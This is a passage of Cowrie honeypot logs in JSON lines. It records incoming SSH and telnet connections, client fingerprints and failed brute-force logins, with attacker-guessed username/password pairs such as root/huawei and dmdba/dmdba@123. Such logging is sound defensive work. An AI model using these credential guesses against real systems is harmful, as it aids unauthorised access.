-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:01.858940Z","src_ip":"192.109.200.78","session":"6fad4d4a7e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:02.117290Z","src_ip":"192.109.200.78","session":"6fad4d4a7e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:03.204907Z","src_ip":"192.109.200.78","session":"6fad4d4a7e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7992ecb4c4cb","protocol":"telnet","message":"New connection: 206.189.71.75:43632 (159.203.135.109:23) [session: 7992ecb4c4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:03.497556Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":43778,"dst_ip":"159.203.135.109","dst_port":23,"session":"59268a9e91ff","protocol":"telnet","message":"New connection: 206.189.71.75:43778 (159.203.135.109:23) [session: 59268a9e91ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:03.710050Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42234,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a98feac8e1","protocol":"ssh","message":"New connection: 192.109.200.78:42234 (10.17.0.5:22) [session: d8a98feac8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:05.853951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:05.894195Z","src_ip":"192.109.200.78","session":"d8a98feac8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.094435Z","src_ip":"192.109.200.78","session":"d8a98feac8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.382837Z","src_ip":"192.109.200.78","session":"d8a98feac8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60834,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8636e50dec8","protocol":"ssh","message":"New connection: 159.203.92.129:60834 (159.203.135.109:22) [session: e8636e50dec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.745667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.751035Z","src_ip":"159.203.92.129","session":"e8636e50dec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.756351Z","src_ip":"159.203.92.129","session":"e8636e50dec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"HuaWei123","message":"login attempt [admin/HuaWei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:06.776489Z","src_ip":"159.203.92.129","session":"e8636e50dec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:07.468008Z","src_ip":"192.109.200.78","session":"d8a98feac8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:07.783469Z","src_ip":"159.203.92.129","session":"e8636e50dec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48074,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3ab3854ddbe","protocol":"telnet","message":"New connection: 206.189.71.75:48074 (159.203.135.109:23) [session: f3ab3854ddbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:09.050255Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc22d0050f0","protocol":"ssh","message":"New connection: 192.109.200.78:47772 (10.17.0.5:22) [session: 0fc22d0050f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:10.139956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:10.145100Z","src_ip":"192.109.200.78","session":"0fc22d0050f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:10.229567Z","src_ip":"192.109.200.78","session":"0fc22d0050f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:10.478719Z","src_ip":"192.109.200.78","session":"0fc22d0050f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48740,"dst_ip":"159.203.135.109","dst_port":23,"session":"713215f48931","protocol":"telnet","message":"New connection: 206.189.71.75:48740 (159.203.135.109:23) [session: 713215f48931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:10.889851Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:11.563220Z","src_ip":"192.109.200.78","session":"0fc22d0050f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47780,"dst_ip":"10.17.0.5","dst_port":22,"session":"666226e9a66a","protocol":"ssh","message":"New connection: 192.109.200.78:47780 (10.17.0.5:22) [session: 666226e9a66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:14.468976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:14.478205Z","src_ip":"192.109.200.78","session":"666226e9a66a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:14.565357Z","src_ip":"192.109.200.78","session":"666226e9a66a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:14.821688Z","src_ip":"192.109.200.78","session":"666226e9a66a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:15.911099Z","src_ip":"192.109.200.78","session":"666226e9a66a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ba764fb6c1b","protocol":"ssh","message":"New connection: 192.109.200.78:58924 (10.17.0.5:22) [session: 7ba764fb6c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:18.436108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:18.440945Z","src_ip":"192.109.200.78","session":"7ba764fb6c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:18.524261Z","src_ip":"192.109.200.78","session":"7ba764fb6c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123","message":"login attempt [dmdba/dmdba@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:19.057911Z","src_ip":"192.109.200.78","session":"7ba764fb6c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:20.144206Z","src_ip":"192.109.200.78","session":"7ba764fb6c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58930,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20109b7430e","protocol":"ssh","message":"New connection: 192.109.200.78:58930 (10.17.0.5:22) [session: b20109b7430e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:22.722174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:22.730111Z","src_ip":"192.109.200.78","session":"b20109b7430e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:22.818046Z","src_ip":"192.109.200.78","session":"b20109b7430e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:23.072847Z","src_ip":"192.109.200.78","session":"b20109b7430e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:24.158017Z","src_ip":"192.109.200.78","session":"b20109b7430e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.52204132080078,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:24.229193Z","src_ip":"206.189.71.75","session":"5947298edf72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12570,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd8ebb541375","protocol":"ssh","message":"New connection: 193.46.255.86:12570 (159.203.135.109:22) [session: bd8ebb541375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.128644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.134061Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.264455Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58932,"dst_ip":"10.17.0.5","dst_port":22,"session":"aef93605c4bd","protocol":"ssh","message":"New connection: 192.109.200.78:58932 (10.17.0.5:22) [session: aef93605c4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.791170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.796130Z","src_ip":"192.109.200.78","session":"aef93605c4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:14:26.854589Z","src_ip":"193.46.255.86","session":"bd8ebb541375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","